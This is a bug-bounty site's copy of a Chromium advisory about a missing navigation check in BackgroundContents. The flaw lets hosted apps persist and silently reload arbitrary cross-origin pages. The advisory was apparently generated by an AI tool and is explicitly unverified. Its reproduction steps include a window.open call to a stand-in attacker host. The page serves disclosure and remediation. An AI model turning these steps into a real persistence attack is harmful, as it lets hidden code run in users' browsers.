Skip to content
Access control Advisory Advanced CVE-2026-87560

Missing authorization in Browser (CVE-2026-87560)

A logic flaw in BackgroundContents allows hosted apps with the 'background' permission to navigate to and persist arbitrary cross-origin URLs. An attacker could use this to silently run code from an arbitrary web origin in the background indefinitely.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 4 months

Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: A logic flaw in BackgroundContents allows hosted apps with the 'background' permission to navigate to and persist arbitrary cross-origin URLs. Because browser-side checks do not validate the navigation target against the app's web_extent, the cross-origin URL is saved to user preferences and silently reloaded in the background on browser restarts.

Affected files:

  • chrome/browser/background/background_contents_service.cc
  • chrome/browser/ui/browser.cc
  • chrome/browser/background/background_contents.cc
  • chrome/browser/chrome_content_browser_client.cc

Estimated timestamp from git blame: 2026-04-29

Background

Hosted apps with the background permission can create an invisible BackgroundContents window (e.g., via window.open(url, 'name', 'background')). By design, navigations within this window are supposed to be restricted to the URLs defined in the app's web_extent. A legacy comment in chrome/browser/background/background_contents.cc indicates this was previously enforced by renderer-side logic (RenderView::decidePolicyForNavigation). However, that renderer-side check has been removed, and no corresponding browser-side validation (such as a NavigationThrottle or an explicit check during persistence) was implemented to replace it.

Vulnerability Details

An attacker can exploit this missing validation to achieve stealthy cross-origin persistence:

  1. Missing Navigation Restrictions: When a hosted app calls window.open(target_url, 'name', 'background'), ChromeContentBrowserClient::CanCreateWindow verifies the opener has the background permission but does not check if target_url is within the app's web_extent. The browser returns a new WebContents to the renderer, allowing the renderer to initiate the cross-origin navigation.
  2. Unverified Persistence: When the cross-origin navigation successfully commits, BackgroundContents::PrimaryPageChanged notifies BackgroundContentsService. The service calls RegisterBackgroundContents, which extracts the currently committed URL and saves it to the user's Preferences file under prefs::kRegisteredBackgroundContents. It performs no validation to ensure the URL belongs to the app.
  3. Automatic Reload on Restart: Upon restarting the browser, BackgroundContentsService reads the cross-origin URL from Preferences and automatically initiates a browser-initiated navigation to load it in an invisible background window.

This flaw allows an attacker (via a malicious hosted app or XSS in a legitimate one) to silently run code from an arbitrary web origin in the background indefinitely.

Note: Highly privileged URLs (like chrome://) cannot be targeted due to standard FilterURL and renderer-initiated navigation blocking mechanisms. The impact is limited to standard web origins running in site-isolated processes.

Potential Reproduction Steps

Please note these are theoretical steps based on source code analysis, as our tooling agent cannot execute code to verify them.

  1. Install a hosted app with the background permission and a defined web_extent (e.g., https://app.example/).
  2. Navigate to a page within the app's extent.
  3. Execute window.open('https://attacker.example/malicious.html', 'bg', 'background') from the app page.
  4. Observe that an invisible BackgroundContents is created and loads the cross-origin URL.
  5. The URL is written to Preferences (prefs::kRegisteredBackgroundContents).
  6. Restart Chrome. The browser will automatically reload https://attacker.example/malicious.html in the background.

Suggested Fix

  1. Enforce Navigation Limits: Introduce a NavigationThrottle specifically for BackgroundContents (or update ExtensionNavigationThrottle) to block navigations to URLs outside the hosted app's web_extent.
  2. Sanitize Persistence: Update BackgroundContentsService::OnBackgroundContentsNavigated or RegisterBackgroundContents to explicitly verify that background_contents->GetURL() is within the extension's web_extent before saving it to Preferences.

Evaluated with Chrome root at commit: eca8648a4e1cdfdda68c495a6003059fed641955


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

Raised in root component due to access or custom field issues on 1457154

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the removal of a renderer-side navigation check without adding a browser-side validation to ensure BackgroundContents navigations stay within the app's web_extent.

Impact

An attacker could silently run code from an arbitrary web origin in the background indefinitely, though highly privileged URLs cannot be targeted and the impact is limited to standard web origins in site-isolated processes.

What the attacker needed

Install a hosted app with background permission; app has a defined web_extent; attacker controls a web origin

The fix

It should be fixed by adding a NavigationThrottle for BackgroundContents and validating the URL against the app's web_extent before saving it to Preferences.

How it was found

  1. Install a hosted app with the background permission and a defined web_extent.
  2. Navigate to a page within the app's extent.
  3. Execute window.open with the background feature from the app page.
  4. Observe that an invisible BackgroundContents is created and loads the cross-origin URL.
  5. The URL is written to Preferences.
  6. Restart Chrome and the browser automatically reloads the cross-origin URL in the background.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A hosted app is a website that can be installed like a program. It can ask for a 'background' permission to keep a hidden window open. The bug is that the browser does not check whether the hidden window stays on the app's own website, so it can be tricked into loading and saving a different website that then runs every time the browser starts.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.